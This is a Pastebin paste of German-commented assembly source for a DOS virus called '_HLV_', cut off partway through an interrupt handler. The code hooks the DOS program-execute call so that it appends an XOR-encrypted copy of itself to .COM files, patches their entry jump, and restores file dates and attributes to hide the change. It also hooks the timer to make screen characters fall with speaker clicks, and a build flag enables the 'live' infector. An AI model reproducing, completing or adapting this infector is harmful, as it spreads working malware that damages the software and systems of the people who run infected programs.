Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- PAGE 62,132
- TITLE _HLV_
- SUBTTL Layout (C) 1990 164A12565AA18213165556D3125C4B962712
- .RADIX 16
- .LALL
- TRUE EQU 1
- FALSE EQU 0
- MONTH EQU 9D
- YEAR EQU 1991D
- DEMO EQU FALSE
- SWITCHABLE = TRUE
- IFDEF _NOSWITCH
- SWITCHABLE = FALSE
- ENDIF
- MSDOS MACRO ;
- INT 21 ;
- ENDM ;
- Wait_HRI_or_VRI MACRO ;
- LOCAL _X_1, _X_2, _X_3 ;
- MOV DX,03DA ;
- CLI ;
- _X_1: IN AL,DX ;
- TEST AL,08 ;
- JNZ _X_3 ;
- TEST AL,01 ;
- JNZ _X_1 ;
- _X_2: IN AL,DX ;
- TEST AL,01 ;
- JZ _X_2 ;
- _X_3 LABEL NEAR ;
- ENDM ;------;
- SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ;
- FOR _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
- IFNB <_X> ;------;
- IFIDN <_X>,<F> ;
- PUSHF ;
- ELSE ;
- PUSH _X ;
- ENDIF ;
- ENDIF ;
- ENDM ;
- ENDM ;------;
- REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ;
- FOR _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
- IFNB <_X> ;------;
- IFIDN <_X>,<F> ;
- POPF ;
- ELSE ;
- POP _X ;
- ENDIF ;
- ENDIF ;
- ENDM ;
- ENDM ;
- MOV_S MACRO S1,S2 ;
- PUSH S2 ;
- POP S1 ;
- ENDM ;
- comment #
- ?
- Start des Code-Segments, Segment Prefix Bytes werden n i c h t au-
- tomatisch durch den Assembler erzeugt.
- # ;
- TEXT SEGMENT ;
- ASSUME CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ;
- comment #
- ?
- Einige das Verst ndnis erleichternde Definitionen.
- # ;
- NearJmp EQU 0E9 ;
- PORT_B_8259A EQU 20 ;
- EOI_8259A EQU 20 ;
- PORT_B_8255 EQU 61 ;
- FIRSTCONST EQU 0131 ;
- FIRSTBASE EQU FIRSTCONST - OFFSET XI_001 ;-----;
- FIRSTBASE2 EQU (FIRSTCONST + OFFSET XI_005 - XI_001) ;
- DeCrptd EQU 0 ;-----;
- EnCrptd EQU 1 ;
- BIOSDATASEG EQU 040 ;
- MonoBase EQU 0B000 ;
- ColorBase EQU 0B800 ;
- B_VIDPAGE EQU THIS WORD + 04E ;
- B_TIMERVAR EQU THIS WORD + 06C ;
- TimerInt EQU 1C ;
- DOS EQU 21 ;
- DOS_multi EQU 2F ;
- MS_SetDTA EQU 1A ;
- DTA_in_PSP EQU 80 ;
- MS_SetInt EQU 25 ;
- MS_GetDateTime EQU 2A ;
- MS_GetVer EQU 30 ;
- DOS_v_02 EQU 2 ;
- MS_GetInt EQU 35 ;
- MS_Open EQU 3Dh ;
- Read_Only EQU 0 ;
- Read_Write EQU 2 ;
- MS_Close EQU 3E ;
- MS_Read EQU 3F ;
- MS_Write EQU 40 ;
- MS_MoveFP EQU 42 ;
- OfsFrmTop EQU 0 ;
- OfsFrmEnd EQU 02 ;
- MS_GetFileAttr EQU 4300 ;
- MS_SetFileAttr EQU 4301 ;
- Attr_A EQU 20 ;
- Attr_SHR EQU 7 ;
- Attr_ASHR EQU Attr_A OR Attr_SHR ;
- MS_AllocMem EQU 48 ;
- MS_ReleaseMem EQU 49 ;
- MemCBsig EQU THIS BYTE + 0 ;
- MemCBowned EQU THIS WORD + 1 ;
- MemCBsize EQU THIS WORD + 3 ;
- MS_Exec EQU 4Bh ;
- MS_Exec_SF0 EQU 0 ;
- Virus_fun EQU 0ffh ;
- Virus_Sig EQU 55AA ;
- MS_SetPSP EQU 50 ;
- PSPsize EQU 00100 ;
- PSPCurCom EQU THIS WORD + 016 ;
- PSPEnv EQU THIS WORD + 02C ;
- PSP_SegJFB EQU THIS WORD + 036 ;
- NoEnv EQU 0 ;
- MS_GetFileDate EQU 5700 ;
- MS_SetFileDate EQU 5701 ;
- PSP_100 EQU THIS WORD + PSPsize ;
- PSP_102 EQU THIS BYTE + PSPsize + 2 ;
- comment #
- ?
- Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1.
- # ;
- Crypt1 DB 0 ;
- Crypt2 EQU OFFSET Crypt1 + FIRSTBASE ;
- Crypt3 EQU Crypt1 + PSPsize ;
- comment #
- ?
- Einsprungstelle, entschl sseln des Virus falls notwendig.
- # ;
- XI_000: CLI ;
- MOV BP,SP ;
- CALL XI_001 ;
- XI_001: POP BX ;
- SUB BX,FIRSTCONST ;
- TEST BYTE PTR CS:[BX+Crypt2],EnCrptd ;
- JZ XI_003 ;
- LEA SI,[BX + XR_000] ;
- MOV SP,OFFSET EOFC-OFFSET XI_003 ;
- XI_002: XOR [SI],SI ;
- XOR [SI],SP ;
- INC SI ;
- DEC SP ;
- JNZ XI_002 ;
- XI_003 LABEL NEAR ;
- XR_000 EQU OFFSET XI_003 + FIRSTBASE ;
- XR_001 EQU XI_003 + PSPsize ;
- MOV SP,BP ;
- JMP SHORT XI_004 ;
- comment #
- ?
- Datenbereich 2.
- # ;
- XD_000 DW PSPsize ;
- Disp_to_com_1 EQU OFFSET XD_000 + FIRSTBASE ;
- XD_001 DW 9090 ;
- Disp_to_com_2 EQU OFFSET XD_001 + FIRSTBASE ;
- XD_002 DW 9090 ;
- Initial_AX EQU OFFSET XD_002 + FIRSTBASE ;
- XD_003 EQU THIS WORD ;
- XD_004 EQU THIS BYTE + 2 ;
- NOP ;
- NOP ;
- NOP ;
- Org1stInstr_s1 EQU OFFSET XD_003 + FIRSTBASE ;
- Org1stInstr_t1 EQU XD_003 + PSPsize ;
- Org1stInstr_t2 EQU XD_003 + PSPsize + 1 ;
- Org1stInstr_s2 EQU OFFSET XD_004 + FIRSTBASE ;
- XD_005 DW 2 dup ( 9090 ) ;
- Org_Int_1C EQU XD_005 + PSPsize ;
- XD_006 DW 2 dup ( 9090 ) ;
- Org_int_21s EQU OFFSET XD_006 + FIRSTBASE ;
- Org_Int_21t EQU XD_006 + PSPsize ;
- ;
- IF SWITCHABLE ;
- ;
- XD_007 DW 2 dup ( 9090 ) ;
- Org_Int_2F EQU XD_007 + PSPsize ;
- XD_008 DB 5, "_HLV_ " ;
- Cmd_2F EQU XD_008 + PSPsize ;
- XD_009 DB 'HLV is on',0Dh,0Ah,'$' ;
- Msg_On EQU XD_009 + PSPsize ;
- XD_010 DB 'HLV is off',0Dh,0Ah,'$' ;
- Msg_Off EQU XD_010 + PSPsize ;
- ;
- ENDIF ;
- ;
- XD_011 DW 9090 ;
- File_Attributes EQU XD_011 + PSPsize ;
- XD_012 DW 9090 ;
- File_Date EQU XD_012 + PSPsize ;
- XD_013 DW 9090 ;
- File_Time EQU XD_013 + PSPsize ;
- XD_014 DW 2 dup ( 9090 ) ;
- Pathname EQU XD_014 + PSPsize ;
- XD_015 DW 2 dup ( 9090 ) ;
- File_Size_lsb EQU XD_015 + PSPsize ;
- File_Size_msb EQU XD_015 + PSPsize + 2 ;
- XD_016 DB NearJmp ;
- FirstOpCode_1 EQU XD_016 + PSPsize ;
- XD_017 DW 9090 ;
- FirstOpCode_2 EQU XD_017 + PSPsize ;
- XD_018 DB 90 ;
- Num_of_Col EQU XD_018 + PSPsize ;
- XD_019 DB 90 ;
- Last_Line EQU XD_019 + PSPsize ;
- XD_020 DB 90 ;
- Prevent_Snow? EQU XD_020 + PSPsize ;
- Last_Pair EQU THIS WORD + PSPsize ;
- XD_021 DB 90 ;
- XD_022 DB 90 ;
- Last_Char EQU XD_021 + PSPsize ;
- Last_Attr EQU XD_022 + PSPsize ;
- RecTyp1 RECORD ExtCom:1, Recf_1:1, R_in_1c:1 ;
- XD_023 RecTyp1 <0,0,0> ;
- ISR_Flags EQU XD_023 + PSPsize ;
- XD_024 DW 9090 ;
- Seg_of_VRAM EQU XD_024 + PSPsize ;
- XD_025 DW 9090 ;
- Page_offset EQU XD_025 + PSPsize ;
- XD_026 DW 9090 ;
- Speed EQU XD_026 + PSPsize ;
- XD_027 DW 9090 ;
- XR_002 EQU XD_027 + PSPsize ;
- XD_028 DW 9090 ;
- XR_003 EQU XD_028 + PSPsize ;
- XD_029 DW 9090 ;
- Num_of_char EQU XD_029 + PSPsize ;
- XD_030 DW 9090 ;
- XR_004 EQU XD_030 + PSPsize ;
- XD_031 DW 7 dup ( 9090 ) ;
- FirstRandom EQU XD_031 + PSPsize ;
- LastRandom EQU This Word + PSPsize ;
- DW 9090 ;
- comment #
- ?
- Installieren u. relozieren falls notwendig.
- # ;
- XI_004: CALL XI_005 ;
- XI_005 LABEL NEAR ;
- XR_005 EQU XI_005 + PSPsize ;
- POP BX ;
- SUB BX,FIRSTBASE2 ;
- MOV CS:[BX+Disp_to_com_2],CS ;
- MOV CS:[BX+Initial_AX],AX ;
- MOV AX,CS:[BX+Org1stInstr_s1] ;
- MOV [PSP_100],AX ;
- MOV AL,CS:[BX+Org1stInstr_s2] ;
- MOV [PSP_102],AL ;
- PUSH BX ;
- MOV AH,MS_GetVer ;
- MSDOS ;
- POP BX ;
- CMP AL,DOS_v_02 ;
- JB XI_006 ;
- MOV AX,MS_Exec * 100 + Virus_fun ;
- XOR DI,DI ;
- XOR SI,SI ;
- MSDOS ;
- CMP DI,Virus_sig ;
- JNZ XI_007 ;
- XI_006: STI ;
- MOV_S ES,DS ;
- MOV AX,CS:[BX+Initial_AX] ;
- JMP DWORD PTR CS:[BX+Disp_to_com_1] ;
- XI_007: PUSH BX ;
- MOV AX,MS_GetInt * 100 + DOS ;
- MSDOS ;
- MOV AX,BX ;
- POP BX ;
- MOV CS:[BX+Org_int_21s],AX ;
- MOV CS:[BX+Org_int_21s + 2],ES ;------------;
- MOV AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ;
- MOV BP,CS ;------------;
- DEC BP ;
- MOV ES,BP ;
- MOV SI,CS:[PSPCurCom] ;
- MOV ES:[MemCBowned],SI ;
- MOV DX,ES:[MemCBsize] ;
- MOV ES:[MemCBsize],AX ;
- MOV ES:[MemCBsig],'M' ;
- SUB DX,AX ;
- DEC DX ;
- INC BP ;
- ADD BP,AX ;
- INC BP ;
- MOV ES,BP ;
- PUSH BX ;
- MOV AH,MS_SetPSP ;
- MOV BX,BP ;
- MSDOS ;
- POP BX ;
- XOR DI,DI ;
- MOV_S SS,ES ;
- PUSH DI ;
- LEA DI,[BX+XR_010] ;
- MOV SI,DI ;
- MOV CX,OFFSET EOFC ;
- STD ;
- REPZ MOVSB ;
- PUSH ES ;
- LEA CX,[BX+XR_006] ;
- PUSH CX ;
- RETF ;
- XI_008 LABEL NEAR ;
- XR_006 EQU OFFSET XI_008 + FIRSTBASE ;
- MOV CS:[BX+Disp_to_com_2],CS ;
- LEA CX,[BX+Crypt2] ;
- REPZ MOVSB ;
- MOV CS:[PSP_SegJFB],CS ;
- DEC BP ;
- MOV ES,BP ;
- MOV ES:[MemCBsize],DX ;
- MOV ES:[MemCBsig],'Z' ;
- MOV ES:[MemCBowned],CS ;
- INC BP ;
- MOV ES,BP ;
- MOV_S ES,DS ;
- MOV_S DS,CS ;
- LEA SI,[BX+Crypt2] ;
- MOV DI,PSPsize ;
- MOV CX,OFFSET EOFC ;
- CLD ;
- REPZ MOVSB ;
- PUSH ES ;
- LEA AX,[XR_007] ;
- PUSH AX ;
- RETF ;
- XI_009 LABEL NEAR ;
- XR_007 EQU XI_009 + PSPsize ;
- MOV CS:[PSPEnv],NoEnv ;
- MOV CS:[PSPCurCom],CS ;
- PUSH DS ;
- LEA DX,[XR_008] ;
- MOV_S DS,CS ;
- MOV AX,MS_SetInt * 100 + DOS ;
- MSDOS ;
- POP DS ;
- MOV AH,MS_SetDTA ;
- MOV DX,DTA_in_PSP ;
- MSDOS ;
- SAVE DS,ES,SI,DI,CX ;
- MOV_S ES,CS ;
- MOV CX,BIOSDATASEG ;
- MOV DS,CX ;
- MOV DI,OFFSET FirstRandom ;
- MOV SI,OFFSET B_TIMERVAR ;
- MOV CL,8 ;
- CLD ;
- REPZ MOVSW ;
- REST CX,DI,SI,ES,DS ;
- ;
- IF SWITCHABLE ;
- ;
- PUSH DS ;
- MOV AX,MS_GetInt * 100 + DOS_multi ;
- MSDOS ;
- MOV CS:[Org_Int_2F],BX ;
- MOV CS:[Org_Int_2F + 2],ES ;
- MOV AX,MS_SetInt * 100 + DOS_multi ;
- MOV DX,offset Int_2F_ISR ;
- MOV_S DS,CS ;
- MSDOS ;
- POP DS ;
- ;
- ENDIF ;
- ;
- OR CS:[ISR_Flags],MASK ExtCom ;
- MOV AH,MS_GetDateTime ;
- MSDOS ;
- CMP CX,YEAR ;
- JZ XI_010 ;
- JMP SHORT XI_011 ;
- XI_010: CMP DH,MONTH ;
- JB XI_011 ;
- AND CS:[ISR_Flags],NOT MASK ExtCom ;
- XI_011: MOV AX,1518 ;
- CALL Random ;
- INC AX ;
- MOV CS:[XR_002],AX ;
- MOV CS:[XR_003],AX ;
- MOV CS:[XR_004],1 ;
- MOV AX,MS_GetInt * 100 + TimerInt ;
- MSDOS ;
- MOV CS:[Org_Int_1C],BX ;
- MOV CS:[Org_Int_1C + 2],ES ;
- PUSH DS ;
- MOV AX,MS_SetInt * 100 + TimerInt ;
- MOV DX,OFFSET XR_009 ;
- MOV_S DS,CS ;
- MSDOS ;
- POP DS ;
- XI_012: MOV BX,OFFSET XR_005 - (FIRSTBASE2) ;
- JMP XI_006 ;
- comment #
- ?
- Neue Interrupt 21(h) Behandlungsroutine ( ver ndert Exec - Funktion ).
- # ;
- XI_013 LABEL NEAR ;
- XR_008 EQU XI_013 + PSPsize ;
- CMP AH,MS_Exec ;
- JZ XI_016 ;
- XI_014: JMP DWORD PTR CS:[Org_Int_21t] ;
- XI_015: MOV DI,Virus_Sig ;
- LES AX,CS:DWORD PTR [Org_Int_21t] ;
- MOV DX,CS ;
- IRET ;
- XI_016: CMP AL,Virus_fun ;
- JZ XI_015 ;
- CMP AL,MS_Exec_SF0 ;
- JNZ XI_014 ;
- SAVE F,AX,BX,CX,DX,SI,DI,BP,ES,DS ;
- MOV CS:[Pathname],DX ;
- MOV CS:[Pathname + 2],DS ;
- MOV_S ES,CS ;
- MOV AX,MS_Open * 100 + Read_Only ;
- MSDOS ;
- JB XI_018 ;
- MOV BX,AX ;
- MOV AX,MS_GetFileDate ;
- MSDOS ;
- MOV CS:[File_Date],DX ;
- MOV CS:[File_Time],CX ;
- MOV AH,MS_Read ;
- MOV_S DS,CS ;
- MOV DX,OFFSET Org1stInstr_t1 ;
- MOV CX,3 ;
- MSDOS ;
- JB XI_018 ;
- CMP AX,CX ;
- JNZ XI_018 ;
- MOV AX,MS_MoveFP * 100 + OfsFrmEnd ;
- XOR CX,CX ;
- XOR DX,DX ;
- MSDOS ;
- MOV CS:[File_Size_lsb],AX ;
- MOV CS:[File_Size_msb],DX ;
- MOV AH,MS_Close ;
- MSDOS ;---------------;
- CMP CS:[Org1stInstr_t1], 'Z' * 100 + 'M' ;
- JNZ XI_017 ;
- JMP XI_025 ;
- XI_017: CMP CS:[File_Size_msb],+0 ;
- JA XI_018 ;
- CMP CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ;
- JBE XI_019 ;
- XI_018: JMP XI_025 ;
- XI_019: CMP BYTE PTR CS:[Org1stInstr_t1],NearJmp ;
- JNZ XI_020 ;
- MOV AX,CS:[File_Size_lsb] ;
- ADD AX,OFFSET Crypt1 - offset EOFC - 2 ;
- CMP AX,CS:[Org1stInstr_t2] ;---------------;
- JZ XI_018 ;
- ;
- IF DEMO ;
- XI_020: CALL DEMO_Infect ;
- JMP XI_025 ;
- ;
- ELSE ;
- IFDEF _DANGER ;
- XI_020: MOV AX,MS_GetFileAttr ;
- LDS DX,CS:DWORD PTR [Pathname] ;
- MSDOS ;
- JB XI_018 ;
- MOV CS:[File_Attributes],CX ;
- XOR CL,Attr_A ;
- TEST CL,Attr_ASHR ;
- JZ XI_021 ;
- MOV AX,MS_SetFileAttr ;
- XOR CX,CX ;
- MSDOS ;
- JB XI_018 ;
- XI_021: MOV AX,MS_Open * 100 + Read_Write ;
- MSDOS ;
- JB XI_018 ;
- MOV BX,AX ;
- MOV AX,MS_MoveFP * 100 + OfsFrmEnd ;
- XOR CX,CX ;
- XOR DX,DX ;
- MSDOS ;
- CALL Append_Virus ;
- JNB XI_022 ;
- MOV AX,MS_MoveFP * 100 + OfsFrmTop ;
- MOV CX,CS:[File_Size_msb] ;
- MOV DX,CS:[File_Size_lsb] ;
- MSDOS ;
- MOV AH,MS_Write ;
- XOR CX,CX ;
- MSDOS ;
- JMP SHORT XI_023 ;
- XI_022: MOV AX,MS_MoveFP * 100 + OfsFrmTop ;
- XOR CX,CX ;
- XOR DX,DX ;
- MSDOS ;
- JB XI_023 ;
- MOV AX,CS:[File_Size_lsb] ;
- ADD AX,-2 ;
- MOV CS:[FirstOpCode_2],AX ;
- MOV AH,MS_Write ;
- MOV DX,OFFSET FirstOpCode_1 ;
- MOV CX,3 ;
- MSDOS ;
- XI_023: MOV AX,MS_SetFileDate ;
- MOV DX,CS:[File_Date] ;
- MOV CX,CS:[File_Time] ;
- MSDOS ;
- MOV AH,MS_Close ;
- MSDOS ;
- MOV CX,CS:[File_Attributes] ;
- TEST CL,Attr_SHR ;
- JNZ XI_024 ;
- TEST CL,Attr_A ;
- JNZ XI_025 ;
- XI_024: MOV AX,MS_SetFileAttr ;
- LDS DX,CS:DWORD PTR [Pathname] ;
- MSDOS ;
- IF2 ;----------------;
- %Out ?
- %Out KEIN DEMO,
- %Out scharfer Virus.
- ENDIF ;
- ELSE ;
- .ERR ;
- ENDIF ;
- ENDIF ;
- IF SWITCHABLE ;
- IF2 ;
- %Out ?
- %Out Neuer interner MSDOS Befehl '_HLV_' !
- ENDIF ;
- ELSE ;
- IF2 ;
- %Out ?
- %Out Kommando '_HLV_' nicht implementiert.
- ENDIF ;
- ENDIF ;
- DISPNUM MACRO nu,nuxx ;
- %Out (Monat - Jahr) nu - nuxx
- ENDM ;
- IF2 ;
- %Out Bis zum Jahresende aktiv ab:
- .radix 10 ;
- DISPNUM %MONTH,%YEAR ;
- .radix 16 ;
- %Out ?
- endif ;
- XI_025: REST DS,ES,BP,DI,SI,DX,CX,BX,AX,F ;----------------;
- JMP XI_014 ;
- IF DEMO ;
- ;
- comment #
- ?
- Statt APPEND in der DEMO - Version aufgerufene Prozedur.
- # ;
- DEMO_INFECT PROC NEAR ;
- push ax ;
- push cx ;
- in al,61 ;
- or al,3 ;
- out 61,al ;
- mov al,0b6 ;
- out 43,al ;
- mov cx,0a ;
- XI_026: dec cx ;
- jz XI_030 ;
- XI_027: mov ax,200d ;
- XI_028: dec ax ;
- cmp ax,100d ;
- jz XI_031 ;
- push ax ;
- out 42,al ;
- push cx ;
- mov cx,150d ;
- XI_029: nop ;
- loop XI_029 ;
- pop cx ;
- mov al,ah ;
- out 42,al ;
- pop ax ;
- jmp XI_028 ;
- XI_030: in al,61 ;
- and al,0fc ;
- out 61,al ;
- pop cx ;
- pop ax ;
- ret ;
- XI_031: inc ax ;
- cmp ax,600d ;
- jz XI_026 ;
- push ax ;
- out 42,al ;
- push cx ;
- mov cx,150d ;
- XI_032: nop ;
- loop XI_032 ;
- pop cx ;
- mov al,ah ;
- out 42,al ;
- pop ax ;
- jmp XI_031 ;
- DEMO_INFECT ENDP ;
- ;
- ELSE ;
- comment #
- ?
- Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur
- # ;
- Append_Virus PROC NEAR ;
- SAVE ES,BX ;
- MOV AH,MS_AllocMem ;----------;
- MOV BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ;
- MSDOS ;----------;
- POP BX ;
- JNB XI_034 ;
- XI_033: STC ;
- POP ES ;
- RET ;
- XI_034: MOV CS:[Crypt3],EnCrptd ;
- MOV ES,AX ;
- MOV_S DS,CS ;
- XOR DI,DI ;
- MOV SI,PSPsize ;
- MOV CX,OFFSET EOFC ;
- CLD ;
- REPZ MOVSB ;
- MOV DI,OFFSET XI_003 ;
- MOV SI,OFFSET XR_001 ;
- ADD SI,[File_Size_lsb] ;
- MOV CX,OFFSET EOFC - OFFSET XI_003 ;
- XI_035: XOR ES:[DI],SI ;
- XOR ES:[DI],CX ;
- INC DI ;
- INC SI ;
- LOOP XI_035 ;
- MOV DS,AX ;
- MOV AH,MS_Write ;
- XOR DX,DX ;
- MOV CX,OFFSET EOFC ;
- MSDOS ;
- SAVE F,AX ;
- MOV AH,MS_ReleaseMem ;
- MSDOS ;
- REST AX,F ;
- MOV_S DS,CS ;
- JB XI_033 ;
- CMP AX,CX ;
- JNZ XI_033 ;
- POP ES ;
- CLC ;
- RET ;
- Append_Virus ENDP ;
- ;
- ENDIF ;
- comment #
- ?
- 'Zufallszahlen' - Generator.
- # ;
- Random PROC NEAR ;
- SAVE DS ;
- MOV_S DS,CS ;
- SAVE BX,CX,DX,AX ;
- MOV CX,7 ;
- MOV BX,offset LastRandom ;
- PUSH [BX] ;
- XI_036: MOV AX,[BX-02] ;
- ADC [BX],AX ;
- DEC BX ;
- DEC BX ;
- LOOP XI_036 ;
- POP AX ;
- ADC [BX],AX ;
- MOV DX,[BX] ;
- POP AX ;
- OR AX,AX ;
- JZ XI_037 ;
- MUL DX ;
- XI_037: MOV AX,DX ;
- REST DX,CX,BX,DS ;
- RET ;
- Random ENDP ;
- comment #
- ?
- Zeichen und Attribut aus Videospeicher auslesen.
- # ;
- Load_from_VRAM PROC NEAR ;
- SAVE SI,DS,DX ;
- MOV AL,DH ;
- MUL [Num_of_Col] ;
- MOV DH,0 ;
- ADD AX,DX ;
- SHL AX,1 ;
- ADD AX,[Page_offset] ;
- MOV SI,AX ;
- TEST [Prevent_Snow?],-1 ;
- MOV DS,[Seg_of_VRAM] ;
- JZ XI_038 ;
- Wait_HRI_or_VRI ;
- XI_038: LODSW ;
- STI ;
- REST DX,DS,SI ;
- RET ;
- Load_from_VRAM ENDP ;
- comment #
- ?
- Zeichen und Attribut (AX) in den Videospeicher schreiben.
- # ;
- Write_to_VRAM PROC NEAR ;
- SAVE DI,ES,DX,BX ;
- MOV BX,AX ;
- MOV AL,DH ;
- MUL [Num_of_Col] ;
- MOV DH,0 ;
- ADD AX,DX ;
- SHL AX,1 ;
- ADD AX,[Page_offset] ;
- MOV DI,AX ;
- TEST [Prevent_Snow?],-1 ;
- MOV ES,[Seg_of_VRAM] ;
- JZ XI_039 ;
- Wait_HRI_or_VRI ;
- XI_039: MOV AX,BX ;
- STOSB ;
- STI ;
- REST BX,DX,ES,DI ;
- RET ;
- Write_to_VRAM ENDP ;
- comment #
- ?
- Bit 0 von Port B des 8255 Chips zur cksetzen (IO-Adresse : &H61 ).
- # ;
- Toggle_Speaker PROC NEAR ;
- PUSH AX ;
- IN AL,PORT_B_8255 ;
- XOR AL,02 ;
- AND AL,0FE ;
- OUT PORT_B_8255,AL ;
- POP AX ;
- RET ;
- Toggle_Speaker ENDP ;
- comment #
- ?
- CF gesetzt, wenn AL ein nicht darstellbares Zeichen enth lt.
- # ;
- Is_it_blank_? PROC NEAR ;
- CMP AL,0 ;
- JZ XI_040 ;
- CMP AL,20 ;
- JZ XI_040 ;
- CMP AL,-1 ;
- JZ XI_040 ;
- CLC ;
- RET ;
- XI_040: STC ;
- RET ;
- Is_it_blank_? ENDP ;
- comment #
- ?
- CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enth lt.
- # ;
- Spec_Graphik? PROC NEAR ;
- CMP AL,0B0 ;
- JB XI_041 ;
- CMP AL,0DF ;
- JA XI_041 ;
- STC ;
- RET ;
- XI_041: CLC ;
- RET ;
- Spec_Graphik? ENDP ;
- comment #
- ?
- Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln.
- # ;
- GetSysSpeed PROC NEAR ;
- PUSH DS ;
- MOV AX,BIOSDATASEG ;
- MOV DS,AX ;
- STI ;
- MOV AX,[B_TIMERVAR] ;
- XI_042: CMP AX,[B_TIMERVAR] ;
- JZ XI_042 ;
- XOR CX,CX ;
- MOV AX,[B_TIMERVAR] ;
- XI_043: INC CX ;
- JZ XI_045 ;
- CMP AX,[B_TIMERVAR] ;
- JZ XI_043 ;
- XI_044: POP DS ;
- MOV AX,CX ;
- XOR DX,DX ;
- MOV CX,0F ;
- DIV CX ;
- MOV CS:[Speed],AX ;
- RET ;
- XI_045: DEC CX ;
- JMP XI_044 ;
- GetSysSpeed ENDP ;
- comment #
- ?
- Verz gern ( Verz gerungszeit ist kaum maschinenabh ngig ).
- # ;
- Delay PROC NEAR ;
- PUSH CX ;
- XI_046: PUSH CX ;
- MOV CX,[Speed] ;
- XI_047: LOOP XI_047 ;
- POP CX ;
- LOOP XI_046 ;
- POP CX ;
- RET ;
- Delay ENDP ;
- comment #
- ?
- Eine neue Interrupt 1C(h) Behandlungsroutine.
- # ;
- XI_048 LABEL NEAR ;
- XR_009 EQU XI_048 + PSPsize ;----------;
- TEST CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ;
- JZ XI_049 ;----------;
- JMP XI_067 ;
- XI_049: OR CS:[ISR_Flags],MASK R_in_1c ;
- DEC CS:[XR_002] ;
- JZ XI_050 ;
- JMP XI_066 ;
- XI_050: SAVE DS,ES ;
- MOV_S DS,CS ;
- MOV_S ES,CS ;
- SAVE AX,BX,CX,DX,SI,DI,BP ;
- MOV AL,EOI_8259A ;
- OUT PORT_B_8259A,AL ;
- MOV AX,[XR_003] ;
- CMP AX,0438 ;
- JNB XI_051 ;
- MOV AX,0438 ;
- XI_051: CALL Random ;
- INC AX ;
- MOV [XR_002],AX ;
- MOV [XR_003],AX ;
- PUSH DS ;
- MOV AX,BIOSDATASEG ;
- MOV DS,AX ;
- MOV AX,[B_VidPage] ;
- POP DS ;
- MOV [Page_offset],AX ;
- MOV [Last_Line],18 ;
- MOV DL,-1 ;
- MOV AX,1130 ;
- MOV BH,0 ;
- SAVE ES,BP ;
- INT 10 ;
- REST BP,ES ;
- CMP DL,-1 ;
- JZ XI_052 ;
- MOV [Last_Line],DL ;
- XI_052: CALL GetSysSpeed ;
- MOV AH,0F ;
- INT 10 ;
- MOV [Num_of_Col],AH ;
- MOV [Prevent_Snow?],0 ;
- MOV [Seg_of_VRAM],MonoBase ;
- CMP AL,07 ;
- JZ XI_054 ;
- JB XI_053 ;
- JMP XI_064 ;
- XI_053: MOV [Seg_of_VRAM],ColorBase ;
- CMP AL,03 ;
- JA XI_054 ;
- CMP AL,02 ;
- JB XI_054 ;
- MOV [Prevent_Snow?],01 ;
- MOV AL,[Last_Line] ;
- INC AL ;
- MUL [Num_of_Col] ;
- MOV [Num_of_char],AX ;
- MOV AX,[XR_004] ;
- CMP AX,[Num_of_char] ;
- JBE XI_054 ;
- MOV AX,[Num_of_char] ;
- XI_054: CALL Random ;
- INC AX ;
- MOV SI,AX ;
- XI_055: XOR DI,DI ;
- XI_056: INC DI ;
- MOV AX,[Num_of_char] ;
- SHL AX,1 ;
- CMP DI,AX ;
- JBE XI_057 ;
- JMP XI_064 ;
- XI_057: OR [ISR_Flags],MASK Recf_1 ;
- MOV AL,[Num_of_Col] ;
- MOV AH,0 ;
- CALL Random ;
- MOV DL,AL ;
- MOV AL,[Last_Line] ;
- MOV AH,0 ;
- CALL Random ;
- MOV DH,AL ;
- CALL Load_from_VRAM ;
- CALL Is_it_blank_? ;
- JB XI_056 ;
- CALL Spec_Graphik? ;
- JB XI_056 ;
- MOV [Last_Pair],AX ;
- MOV CL,[Last_Line] ;
- MOV CH,0 ;
- XI_058: INC DH ;
- CMP DH,[Last_Line] ;
- JA XI_062 ;
- CALL Load_from_VRAM ;
- CMP AH,[Last_Attr] ;
- JNZ XI_062 ;
- CALL Is_it_blank_? ;
- JB XI_060 ;
- XI_059: CALL Spec_Graphik? ;
- JB XI_062 ;
- INC DH ;
- CMP DH,[Last_Line] ;
- JA XI_062 ;
- CALL Load_from_VRAM ;
- CMP AH,[Last_Attr] ;
- JNZ XI_062 ;
- CALL Is_it_blank_? ;
- JNB XI_059 ;
- CALL Toggle_Speaker ;
- DEC DH ;
- CALL Load_from_VRAM ;
- MOV [Last_Char],AL ;
- INC DH ;
- XI_060: AND [ISR_Flags],NOT MASK Recf_1 ;
- DEC DH ;
- MOV AL,' ' ;
- CALL Write_to_VRAM ;
- INC DH ;
- MOV AL,[Last_Char] ;
- CALL Write_to_VRAM ;
- JCXZ XI_061 ;
- CALL Delay ;
- DEC CX ;
- XI_061: JMP XI_058 ;
- XI_062: TEST [ISR_Flags],MASK Recf_1 ;
- JZ XI_063 ;
- JMP XI_056 ;
- XI_063: CALL Toggle_Speaker ;
- DEC SI ;
- JZ XI_064 ;
- JMP XI_055 ;
- XI_064: IN AL,PORT_B_8255 ;
- AND AL,0FC ;
- OUT PORT_B_8255,AL ;
- MOV AX,3 ;
- CALL Random ;
- INC AX ;
- MUL [XR_004] ;
- JNB XI_065 ;
- MOV AX,-1 ;
- XI_065: MOV [XR_004],AX ;
- REST BP,DI,SI,DX,CX,BX,AX,ES,DS ;
- XI_066: AND CS:[ISR_Flags],NOT MASK R_in_1c ;
- XI_067: JMP DWORD PTR CS:[Org_Int_1C] ;
- ;
- IF SWITCHABLE ;
- ;
- comment #
- ?
- Implementierung eines neuen in CMD_2F definierten internen Befehls.
- # ;
- XI_068 Label Near ;
- Int_2F_ISR EQU XI_068 + PSPsize ;
- CMP AH,0AEH ;
- JNZ Int_2F_end ;
- CMP DX,-1 ;
- JNZ Int_2F_end ;
